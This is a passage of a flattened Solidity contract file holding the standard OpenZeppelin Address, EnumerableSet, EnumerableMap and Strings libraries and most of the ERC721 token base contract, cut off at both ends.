* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
